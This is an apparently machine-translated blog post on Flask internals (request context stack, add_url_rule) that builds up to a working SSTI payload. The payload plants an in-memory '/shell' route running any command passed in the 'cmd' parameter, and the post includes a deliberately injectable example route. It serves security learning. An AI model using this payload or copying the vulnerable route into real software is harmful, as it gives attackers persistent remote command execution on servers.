[Python] flash memory horse learning

preface

I always wanted to learn something before, but I kept cooing. I finally chose to learn the flash memory horse one night when I got stuck in the process of configuring vscode to debug the underlying C code of PHP. It was also very interesting.

Pre knowledge

Request context

The ssti of simple flash definitely needs to know. I won't mention it.

The first is to follow the flash context management mechanism process in the reference link for a wave of learning, and the interruption points follow up a wave.

Flash will call the app when it receives the request__ call__ method:

    def __call__(self, environ, start_response):
        """The WSGI server calls the Flask application object as the
        WSGI application. This calls :meth:`wsgi_app` which can be
        wrapped to applying middleware."""
        return self.wsgi_app(environ, start_response)

Follow up:

        ctx = self.request_context(environ)
        error = None
        try:
            try:
                ctx.push()
                response = self.full_dispatch_request()

At this time, self is the opposite line of Flask, and request is called_ The context () method obtains a RequestContext and a request context ctx (at this time, I associate a wave of servlets, and I actually know something about them). It contains request and session:

ctf.push() will be called later:

        top = _request_ctx_stack.top
        if top is not None and top.preserved:
            top.pop(top._preserved_exc)

        # Before we push the request context we have to ensure that there
        # is an application context.
        app_ctx = _app_ctx_stack.top
        if app_ctx is None or app_ctx.app != self.app:
            app_ctx = self.app.app_context()
            app_ctx.push()
            self._implicit_app_ctx_stack.append(app_ctx)
        else:
            self._implicit_app_ctx_stack.append(None)

        if hasattr(sys, "exc_clear"):
            sys.exc_clear()

        _request_ctx_stack.push(self)

Considering_ request_ctx_stack = LocalStack() is a LocalStack object, and the top to get it is this:

    @property
    def top(self):
        """The topmost item on the stack.  If the stack is empty,
        `None` is returned.
        """
        try:
            return self._local.stack[-1]
        except (AttributeError, IndexError):
            return None

Its_ Local is a local object with these two properties:

    def __init__(self):
        object.__setattr__(self, "__storage__", {})
        object.__setattr__(self, "__ident_func__", get_ident)

This is the case when accessing non-existent attributes:

    def __getattr__(self, name):
        try:
            return self.__storage__[self.__ident_func__()][name]
        except KeyError:
            raise AttributeError(name)

But I didn't know so much, because it's not necessary. Obviously, the stack at this time is None, so there is no element at the top of the stack, so the top also returns None. Finally, this is executed_ request_ctx_stack.push(self):

    def push(self, obj):
        """Pushes a new item to the stack"""
        rv = getattr(self._local, "stack", None)
        if rv is None:
            self._local.stack = rv = []
        rv.append(obj)
        return rv

Similarly, at first rv is still None, and then this line of code is self_ Local. Stack = rv = [], which is equivalent to rv and self_ Local.stack all point to the same list:

a = b = []
a.append(123)
print(a)#[123]
print(b)#[123]

Then rv.append(obj), which is RequestContext. Equivalent to self_ Local. Stack pushes such a request context object into the top of the stack.

Therefore, get the current request context, that is, get_ request_ctx_stack.top,_ request_ ctx_ The top element of stack, and with the request context, you can get the request.

add_url_rule

The Route function will be called every time a Route is registered:

@app.route('/',methods=['GET', 'POST'])
def test():
    feng=request.args.get('feng')
    template = '''
            <h3>%s</h3>
    ''' %(feng)

    return render_template_string(template)

Follow up:

        def decorator(f):
            endpoint = options.pop("endpoint", None)
            self.add_url_rule(rule, endpoint, f, **options)
            return f

In fact, add is called_ url_ Rule() function:

    @setupmethod
    def add_url_rule(
        self,
        rule,
        endpoint=None,
        view_func=None,
        provide_automatic_options=None,
        **options
    ):

There are several parameters to note. The first rule is the registered route, such as "/ test". The second endpoint comment says:

the endpoint for the registered URL rule. Flask
itself assumes the name of the view function as
endpoint

To put it bluntly, endpoint is the bound function name.

The third is view_func is the function corresponding to this route. Each request for this route is handled by this function.

As for the request method, the default is GET and can not be written. Therefore, if you want to dynamically add a route, the most important parameters are the first and third parameters.

Routing can be written at will. As for functions, lambda expressions can be used to write them.

POC analysis

With the above knowledge, it's easy to look at the flash memory horse:

url_for.__globals__['__builtins__']['eval'](
	"app.add_url_rule(
		'/shell', 
		'shell', 
		lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
		)
	",
	{
		'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
		'app':url_for.__globals__['current_app']
	}
)

eval has two parameters

The second is the global namespace of variables, so that app and_ request_ctx_stack can be found.

As for the command executed inside, it is to dynamically create a route. The route is / shell, the function name is also shell, and the function is__ import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()

Call os and execute the command. As for the source of the order, it is through_ request_ctx_stack.top obtains the request context, then obtains the request of the request context, and then obtains the cmd in the get parameter of the request, and then executes it, which is easy to understand. Tuition fee! Tuition fee!

Reference link

https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/#0x01-Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC

https://github.com/iceyhexman/flask_memory_shell

https://www.cnblogs.com/bigox/p/11652859.html

https://blog.csdn.net/solitudi/article/details/115331388

https://www.runoob.com/python/python-functions.html

Keywords: Python Back-end Flask

Added by thecookie on Wed, 27 Oct 2021 20:23:02 +0300